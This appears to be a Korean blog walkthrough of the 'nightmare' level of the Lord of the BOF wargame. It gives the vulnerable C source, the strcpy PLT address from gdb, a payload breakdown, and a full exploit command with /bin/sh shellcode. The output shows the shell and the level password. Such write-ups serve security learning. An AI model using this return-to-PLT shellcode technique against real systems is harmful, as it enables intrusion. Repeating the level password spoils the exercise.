/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;//strcpy의 주소를 담음
if(memcmp(argv[1]+44, &addr, 4) != 0){//argv+44이후의 4바이트가 addr이 담는 주소와 같아야한다.
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);//버퍼48개 뒤에는 AAAA로 초기화
}
[succubus@localhost succubus]$ gdb nightmar1
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x8048410 <strcpy>
strcpy함수의 특성을 잘 사용해서 exploit하는 문제이다.
페이로드와 같이 strcpy plt를 이용해서 argv[2]에 넣었던 shellcode를 버퍼(destination)에 넣어주고 ret주소를
버퍼로 바꿔주면 버퍼로 ret하면서 쉘코드가 실행되고 exploit된다.
쉘코드가 들어갈 공간이 없다면 system함수의 plt를 사용해서 문제를 풀어도 된다.
페이로드 = "A"*44 (44) + strcpy주소(리턴어드레스변조) (4)+ 쉘코드의 시작주소(ret어드레스 주소공간) (4) + 목적지주소(버퍼시작주소) (4) + 소스주소(argv[2] 살짝 뒤 nop가 있는주소) (4) , argv[2]
[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"\xee\xfb\xff\xbf"+"\x30\xfa\xff\xbf"+"\xa9\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒0▒▒▒▒▒▒▒
bash$ whoami
nightmare
bash$ my-pass
euid = 518
beg for me
'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글
20.lob xavius->death_knight (0) | 2018.01.15 |
---|---|
19.lob nightmare->xavius (0) | 2018.01.15 |
17.lob zombie_assassin->succubus (0) | 2018.01.15 |
16.lob assassin->zombie_assassin (0) | 2018.01.14 |
15.lob giant->assassin (0) | 2018.01.11 |